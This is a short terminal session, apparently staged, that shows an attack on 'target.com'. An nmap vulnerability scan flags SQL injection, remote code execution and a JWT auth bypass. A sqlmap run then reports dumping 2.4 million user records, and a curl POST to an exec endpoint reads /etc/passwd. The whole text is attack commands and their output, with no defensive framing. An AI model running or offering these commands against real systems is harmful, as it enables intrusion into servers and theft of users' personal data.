$ nmap -sV -sC --script=vuln target.com
PORT STATE SERVICE
80/tcp open http Apache/2.4.41
443/tcp open ssl/http nginx/1.18.0
3306/tcp open mysql MySQL 5.7.32
[!] SQL Injection found: /api/search?q=
[!] Remote Code Execution: /admin/upload
[!] Auth Bypass: JWT token manipulation
$ sqlmap -u "target.com/api/search?q=test" --dbs
[+] Database extracted: 2.4M user records
$ curl -X POST target.com/api/exec -d 'cmd=cat /etc/passwd'
[+] root:x:0:0:root:/root:/bin/bash
$ _